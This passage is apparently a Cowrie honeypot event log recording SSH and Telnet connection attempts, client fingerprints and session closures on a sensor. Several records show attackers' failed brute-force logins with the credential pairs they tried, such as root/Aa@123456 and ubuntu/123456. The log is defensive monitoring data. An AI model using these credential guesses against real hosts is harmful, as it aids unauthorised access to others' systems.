{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:14.522147Z","src_ip":"176.65.139.103","session":"90a0b7807f35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00102949142456,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:14.684045Z","src_ip":"177.54.170.240","session":"e5c2c587075a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.617514610290527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:15.143653Z","src_ip":"161.97.124.15","session":"e71c82a6e0b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.170.240","src_port":47746,"dst_ip":"10.17.0.5","dst_port":23,"session":"12928ceafeab","protocol":"telnet","message":"New connection: 177.54.170.240:47746 (10.17.0.5:23) [session: 12928ceafeab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:15.154806Z"}
{"eventid":"cowrie.session.closed","duration":30.78513526916504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:15.266038Z","src_ip":"161.97.124.15","session":"77ebf382805c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":58754,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3b0e5c9898e","protocol":"telnet","message":"New connection: 161.97.124.15:58754 (159.203.135.109:23) [session: b3b0e5c9898e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:16.573460Z"}
{"eventid":"cowrie.session.closed","duration":30.73822569847107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:17.055203Z","src_ip":"161.97.124.15","session":"dc175fa3ea8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":33832,"dst_ip":"159.203.135.109","dst_port":23,"session":"7748e4368ff7","protocol":"telnet","message":"New connection: 161.97.124.15:33832 (159.203.135.109:23) [session: 7748e4368ff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:17.793481Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":45572,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e98485309bc","protocol":"ssh","message":"New connection: 80.94.92.182:45572 (10.17.0.5:22) [session: 5e98485309bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:17.980966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:18.096336Z","src_ip":"80.94.92.182","session":"5e98485309bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:18.099598Z","src_ip":"80.94.92.182","session":"5e98485309bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fuckyou","message":"login attempt [root/fuckyou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:19.364534Z","src_ip":"80.94.92.182","session":"5e98485309bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":59152,"dst_ip":"10.17.0.5","dst_port":22,"session":"c24ea98b4ee6","protocol":"ssh","message":"New connection: 176.65.139.103:59152 (10.17.0.5:22) [session: c24ea98b4ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:19.775329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:19.779080Z","src_ip":"176.65.139.103","session":"c24ea98b4ee6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:19.860672Z","src_ip":"176.65.139.103","session":"c24ea98b4ee6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:20.239477Z","src_ip":"176.65.139.103","session":"c24ea98b4ee6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.082054376602173,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:20.372006Z","src_ip":"161.97.124.15","session":"07931fd64e89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:20.630686Z","src_ip":"80.94.92.182","session":"5e98485309bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.170.240","src_port":48118,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3af1dd5daee","protocol":"telnet","message":"New connection: 177.54.170.240:48118 (10.17.0.5:23) [session: a3af1dd5daee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:20.892033Z"}
{"eventid":"cowrie.session.closed","duration":30.88996124267578,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:21.295220Z","src_ip":"161.97.124.15","session":"8d9e7149ad72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16351842880249,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:21.462518Z","src_ip":"161.97.124.15","session":"949d7544ff3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:21.481917Z","src_ip":"176.65.139.103","session":"c24ea98b4ee6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":43146,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb00f9dd6ad9","protocol":"telnet","message":"New connection: 161.97.124.15:43146 (159.203.135.109:23) [session: cb00f9dd6ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:21.606581Z"}
{"eventid":"cowrie.session.closed","duration":30.68720293045044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:22.116561Z","src_ip":"161.97.124.15","session":"fb6656526f3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.184.144.220","src_port":56328,"dst_ip":"10.17.0.5","dst_port":22,"session":"55e296ec9371","protocol":"ssh","message":"New connection: 202.184.144.220:56328 (10.17.0.5:22) [session: 55e296ec9371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:25.478697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:25.482912Z","src_ip":"202.184.144.220","session":"55e296ec9371","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:25.723490Z","src_ip":"202.184.144.220","session":"55e296ec9371","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":38394,"dst_ip":"10.17.0.5","dst_port":22,"session":"091d593782bb","protocol":"ssh","message":"New connection: 176.65.139.103:38394 (10.17.0.5:22) [session: 091d593782bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:26.179338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:26.193472Z","src_ip":"176.65.139.103","session":"091d593782bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:26.269586Z","src_ip":"176.65.139.103","session":"091d593782bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"roots","password":"roots","message":"login attempt [roots/roots] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:26.715849Z","src_ip":"202.184.144.220","session":"55e296ec9371","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:26.754669Z","src_ip":"176.65.139.103","session":"091d593782bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.691946268081665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:27.235276Z","src_ip":"161.97.124.15","session":"f313fed0ac4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:27.848704Z","src_ip":"176.65.139.103","session":"091d593782bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:27.958408Z","src_ip":"202.184.144.220","session":"55e296ec9371","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.536717891693115,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:28.053682Z","src_ip":"161.97.124.15","session":"4aea0f8b1a3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":58728,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f725a6134ca","protocol":"telnet","message":"New connection: 161.97.124.15:58728 (159.203.135.109:23) [session: 3f725a6134ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:28.110759Z"}
{"eventid":"cowrie.session.closed","duration":30.571853160858154,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:31.058813Z","src_ip":"161.97.124.15","session":"d65bf1447995","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"52.231.220.210","src_port":61042,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8fe474d109b","protocol":"ssh","message":"New connection: 52.231.220.210:61042 (10.17.0.5:22) [session: c8fe474d109b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:31.934675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:31.939291Z","src_ip":"52.231.220.210","session":"c8fe474d109b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:32.134998Z","src_ip":"52.231.220.210","session":"c8fe474d109b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":38396,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c28efbf7be5","protocol":"ssh","message":"New connection: 176.65.139.103:38396 (10.17.0.5:22) [session: 5c28efbf7be5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:32.555848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:32.559699Z","src_ip":"176.65.139.103","session":"5c28efbf7be5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:32.642129Z","src_ip":"176.65.139.103","session":"5c28efbf7be5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234","message":"login attempt [root/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:32.901341Z","src_ip":"176.65.139.103","session":"5c28efbf7be5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaa111...","message":"login attempt [root/aaa111...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:32.950298Z","src_ip":"52.231.220.210","session":"c8fe474d109b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:33.985827Z","src_ip":"176.65.139.103","session":"5c28efbf7be5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:34.148790Z","src_ip":"52.231.220.210","session":"c8fe474d109b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44804,"dst_ip":"10.17.0.5","dst_port":22,"session":"e38cb66dc259","protocol":"ssh","message":"New connection: 176.65.139.103:44804 (10.17.0.5:22) [session: e38cb66dc259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:39.291105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:39.295115Z","src_ip":"176.65.139.103","session":"e38cb66dc259","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-